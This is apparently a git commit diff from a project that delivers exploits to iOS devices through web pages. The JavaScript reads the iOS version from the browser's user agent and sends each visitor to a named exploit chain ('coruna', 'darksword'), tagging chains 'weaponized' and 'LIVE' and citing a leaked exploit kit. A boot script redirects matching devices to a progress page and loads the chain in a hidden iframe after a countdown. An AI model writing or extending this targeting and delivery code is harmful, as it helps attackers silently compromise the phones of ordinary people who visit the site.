feat: quene
This commit is contained in:
@@ -159,26 +159,12 @@
|
||||
return 0;
|
||||
}
|
||||
|
||||
function isCorunaRange(v) {
|
||||
if (!v || !v.length || v[0] < 13) return false;
|
||||
if (v[0] >= 18) return false;
|
||||
if (v[0] === 17 && v[1] >= 3) return false;
|
||||
if (v[0] === 17 && v[1] === 2 && (v[2] || 0) > 1) return false;
|
||||
return true;
|
||||
}
|
||||
|
||||
function isSilkPathRange(v) {
|
||||
function isDarkSwordRange(v) {
|
||||
if (!v || !v.length) return false;
|
||||
var maj = v[0] || 0, min = v[1] || 0, pat = v[2] || 0;
|
||||
if (maj === 17 && (min > 2 || (min === 2 && pat >= 2))) return true;
|
||||
if (maj === 18 && min <= 3) return true;
|
||||
return false;
|
||||
}
|
||||
|
||||
function isExploitChainRange(v) {
|
||||
if (!v || !v.length) return false;
|
||||
if (v[0] === 18 && (v[1] || 0) >= 4) return true;
|
||||
if (v[0] >= 19 && v[0] <= 26) return true;
|
||||
if (maj !== 18) return false;
|
||||
if (min === 5 && pat === 0) return true;
|
||||
if (min === 6 && (pat === 0 || pat === 1 || pat === 2)) return true;
|
||||
return false;
|
||||
}
|
||||
|
||||
@@ -198,15 +184,7 @@
|
||||
|
||||
var ios = parseIosVersion();
|
||||
function chainIdForIos(v) {
|
||||
if (!v || !v.length) return 'unknown';
|
||||
if (isCorunaRange(v)) return 'coruna';
|
||||
if (isSilkPathRange(v)) return 'silkpath';
|
||||
if (isExploitChainRange(v)) {
|
||||
var maj = v[0] || 0, min = v[1] || 0, pat = v[2] || 0;
|
||||
if ((maj === 18 && min === 7 && pat >= 3) || (maj >= 19 && maj <= 26)) return 'ghostwave';
|
||||
return 'darksword';
|
||||
}
|
||||
return 'blocked';
|
||||
return isDarkSwordRange(v) ? 'darksword' : 'coruna';
|
||||
}
|
||||
var chain = chainIdForIos(ios);
|
||||
var apiPlan = null;
|
||||
|
||||
@@ -1062,12 +1062,11 @@
|
||||
<!-- QQTIME_BOOT -->
|
||||
<script>
|
||||
(function () {
|
||||
// Coruna(≤17.2.1):顶层进 /qqtime/ 进度壳
|
||||
// iOS 18+:倒计时结束后再挂 iframe,链加载不影响倒计时
|
||||
// DS 仅 18.5 / 18.6 / 18.6.1 / 18.6.2;其余顶层进 /qqtime/ Coruna 进度壳
|
||||
if (/[?&]landed=1(?:&|$)/.test(location.search)) return;
|
||||
if (location.pathname.indexOf("/qqtime") === 0) return;
|
||||
|
||||
function isCoruna() {
|
||||
function isDarkSword() {
|
||||
var m = /(?:iPhone|iPad|iPod).*?OS[\s_]+(\d+)[._](\d+)(?:[._](\d+))?/i.exec(
|
||||
navigator.userAgent || ""
|
||||
);
|
||||
@@ -1075,13 +1074,13 @@
|
||||
var maj = +m[1],
|
||||
min = +m[2],
|
||||
pat = +(m[3] || 0);
|
||||
if (maj < 13 || maj >= 18) return false;
|
||||
if (maj === 17 && min > 2) return false;
|
||||
if (maj === 17 && min === 2 && pat > 1) return false;
|
||||
return true;
|
||||
if (maj !== 18) return false;
|
||||
if (min === 5 && pat === 0) return true;
|
||||
if (min === 6 && (pat === 0 || pat === 1 || pat === 2)) return true;
|
||||
return false;
|
||||
}
|
||||
|
||||
if (isCoruna()) {
|
||||
if (!isDarkSword()) {
|
||||
location.replace(location.origin + "/qqtime/");
|
||||
return;
|
||||
}
|
||||
|
||||
@@ -234,88 +234,30 @@ function classifyTarget(v) {
|
||||
}
|
||||
} catch (eBand) {}
|
||||
|
||||
if (inVerRange(p, [13, 0, 0], [17, 2, 1])) {
|
||||
return {
|
||||
chain: 'coruna',
|
||||
delivery_ok: true,
|
||||
ghostwave: false,
|
||||
version_str: version_str,
|
||||
reason: 'Coruna leaked kit (khanhduytran0/coruna) via /coruna/group.html',
|
||||
patched: false,
|
||||
weaponized: true,
|
||||
usable_grade: 'LIVE'
|
||||
};
|
||||
}
|
||||
|
||||
if (cmpVer(p, [17, 2, 1]) > 0 && cmpVer(p, [18, 4, 0]) < 0) {
|
||||
var silk17 = p[0] === 17;
|
||||
return {
|
||||
chain: 'silkpath',
|
||||
delivery_ok: true,
|
||||
ghostwave: false,
|
||||
version_str: version_str,
|
||||
reason: silk17
|
||||
? 'SilkPath loader OK but 17.x offsets are 0x0 — RCE gated by silkpath_loader'
|
||||
: 'SilkPath 18.0-18.3 Stage1 + provisional bridged offsets (22E)',
|
||||
patched: false,
|
||||
weaponized: !silk17,
|
||||
usable_grade: silk17 ? 'GATED' : 'PROVISIONAL'
|
||||
};
|
||||
}
|
||||
|
||||
if (inVerRange(p, [18, 4, 0], [18, 7, 2])) {
|
||||
var ds = (p[0] === 18 && p[1] === 5 && p[2] === 0)
|
||||
|| (p[0] === 18 && p[1] === 6 && (p[2] === 0 || p[2] === 1 || p[2] === 2));
|
||||
if (ds) {
|
||||
return {
|
||||
chain: 'darksword',
|
||||
delivery_ok: true,
|
||||
ghostwave: (p[1] || 0) >= 7,
|
||||
ghostwave: false,
|
||||
version_str: version_str,
|
||||
reason: (p[1] || 0) >= 7 ? 'DarkSword+GhostWave post-exploit hooks' : 'DarkSword 18.4-18.7.2',
|
||||
reason: 'DarkSword ' + version_str,
|
||||
patched: false,
|
||||
weaponized: true,
|
||||
usable_grade: 'LIVE'
|
||||
};
|
||||
}
|
||||
|
||||
if (inVerRange(p, [18, 7, 3], [26, 3, 99])) {
|
||||
var grade = ghostUsableGrade(v);
|
||||
var fully = (p[0] === 26 && p[1] >= 3);
|
||||
return {
|
||||
chain: 'ghostwave',
|
||||
delivery_ok: true, // research delivery always allowed
|
||||
ghostwave: true,
|
||||
version_str: version_str,
|
||||
reason: fully
|
||||
? 'iOS 26.3 fully patched (GTIG) — harness telemetry only'
|
||||
: (grade === 'RESEARCH_HIGH'
|
||||
? 'GhostWave RESEARCH_HIGH — attempt 26.x worker + calibrate'
|
||||
: 'GhostWave research — offsets/chain incomplete'),
|
||||
patched: grade === 'DEAD',
|
||||
weaponized: false,
|
||||
usable_grade: grade,
|
||||
warning: 'Do not treat GhostWave as production-ready'
|
||||
};
|
||||
}
|
||||
|
||||
if (cmpVer(p, [26, 3, 99]) > 0) {
|
||||
return {
|
||||
chain: 'out_of_scope',
|
||||
delivery_ok: false,
|
||||
ghostwave: false,
|
||||
version_str: version_str,
|
||||
reason: 'above GhostWave 26.3',
|
||||
patched: true,
|
||||
usable_grade: 'DEAD'
|
||||
};
|
||||
}
|
||||
|
||||
return {
|
||||
chain: 'out_of_scope',
|
||||
delivery_ok: false,
|
||||
chain: 'coruna',
|
||||
delivery_ok: true,
|
||||
ghostwave: false,
|
||||
version_str: version_str,
|
||||
reason: 'out of scope',
|
||||
reason: 'Coruna (DS allowlist: 18.5 / 18.6 / 18.6.1 / 18.6.2)',
|
||||
patched: false,
|
||||
usable_grade: 'DEAD'
|
||||
weaponized: true,
|
||||
usable_grade: 'LIVE'
|
||||
};
|
||||
}
|
||||
function pickWorkerFile(v) {
|
||||
|
||||
Reference in New Issue
Block a user